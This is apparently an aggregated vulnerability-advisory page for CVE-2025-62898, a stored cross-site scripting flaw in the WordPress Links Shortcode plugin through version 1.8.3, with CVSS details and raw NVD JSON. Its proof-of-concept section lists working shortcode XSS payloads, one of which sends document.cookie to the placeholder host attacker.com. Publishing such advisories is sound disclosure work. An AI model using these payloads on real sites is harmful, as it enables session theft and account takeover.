Security Vulnerability Report
中文
CVE-2025-62898 CVSS 6.5 MEDIUM

CVE-2025-62898

Published: 2025-10-27 02:15:49
Last Modified: 2026-04-27 18:16:28

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Maarten Links shortcode links-shortcode allows Stored XSS.This issue affects Links shortcode: from n/a through <= 1.8.3.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Links Shortcode插件所有版本 <= 1.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62898 PoC - WordPress Links Shortcode Stored XSS // Affected Version: <= 1.8.3 // Attack Vector: Stored XSS via shortcode URL parameter // Method 1: Using event handler in URL [links url='" onerror="alert(document.domain)" ']Click Here[/links] // Method 2: Using javascript: protocol [links url='javascript:alert(document.cookie)']Malicious Link[/links] // Method 3: Using script tag (may be filtered) [links url='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>']Link[/links] // Method 4: Using data: protocol [links url='data:text/html,<script>alert(String.fromCharCode(88,83,83))</script>']Test[/links] // Recommended PoC for testing: // Insert the following shortcode in any WordPress post/page content: [links url='" style="animation-name:rotation" onanimationend="alert(document.cookie)//']POC[/links]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62898", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:48.937", "lastModified": "2026-04-27T18:16:28.413", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Maarten Links shortcode links-shortcode allows Stored XSS.This issue affects Links shortcode: from n/a through <= 1.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/links-shortcode/vulnerability/wordpress-links-shortcode-plugin-1-8-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}